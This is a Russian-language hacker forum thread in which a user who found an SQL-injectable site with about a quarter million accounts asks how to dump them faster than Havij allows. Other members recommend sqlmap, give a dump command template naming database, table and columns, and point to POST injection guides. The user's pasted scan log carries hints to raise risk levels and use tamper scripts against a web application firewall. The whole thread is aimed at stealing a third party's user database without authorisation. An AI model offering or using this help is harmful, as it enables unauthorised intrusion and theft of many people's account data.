Слив базы с сайта

[maluw3250]

С помощью Havij нашел сайт с базой примерно в чверть лимона акаунтов. Но при сливе где-то 60к сливаю и програма виснет! Есть альтернатива для быстрого слива аккаунтов?

[ghost8]

sqlmap

[maluw3250]

↑ (https://antichat.live/posts/3873911/)
sqlmap


Прога не читает базу с етого сайта (

[beginner2010]

Может параметры для sqlmap неправильно указаны?

[maluw3250]

я не продвинутий юзер в таких программах, можно подсказать что и где можно настроить?

[Br@!ns]

↑ (https://antichat.live/posts/3874269/)
я не продвинутий юзер в таких программах, можно подсказать что и где можно настроить?


мануалы читайте, в интернете их полно. Или линк скидывайте

[maluw3250]

↑ (https://antichat.live/posts/3874283/)
мануалы читайте, в интернете их полно. Или линк скидывайте


пока пробую сам разобраться. А линк неа. Базу сольют за секунды!

[maluw3250]

пока проблема в том, что етот сайт не доступен! и поетому я и не могу проверить работу программ!

[Ch3ck]

sqlmap.py -u "хттп://имя сайта" -D имя базы -T имя таблицы -C столбцы --dump

[maluw3250]

↑ (https://antichat.live/posts/3874297/)

sqlmap.py -u "хттп://имя сайта" -D имя базы -T имя таблицы -C столбцы --dump



вопрос о "имя базы"

Если их 2-3 брать первую?

[beginner2010]

Из какой базы данные тянуть собираетесь, ту и нужно писать

[maluw3250]

Если я правильно понимаю то sqlmap делает инекцию только по параметру GET?


[07:48:14] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[07:48:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[07:49:21] [WARNING] GET parameter 'id' is not injectable
[07:49:21] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
[07:49:21] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 224 times

shutting down at 07:49:21

[frank]

↑ (https://antichat.live/posts/3874783/)
Если я правильно понимаю то sqlmap делает инекцию только по параметру GET?

[07:48:14] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[07:48:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[07:49:21] [WARNING] GET parameter 'id' is not injectable
[07:49:21] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
[07:49:21] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 224 times

shutting down at 07:49:21



нет, вы заблуждаетесь, POST он тоже умеет

как вариант хотя бы вот эту мааааленькую статейку посмотрите


http://blog.tunnelshade.in/2013/03/post-data-sql-injection-using-sqlmap.html

[faza02]

↑ (https://antichat.live/posts/3874783/)
Если я правильно понимаю то sqlmap делает инекцию только по параметру GET?

[07:48:14] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[07:48:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[07:49:21] [WARNING] GET parameter 'id' is not injectable
[07:49:21] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
[07:49:21] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 224 times

shutting down at 07:49:21



нет. https://github.com/sqlmapproject/sqlmap/wiki/Usage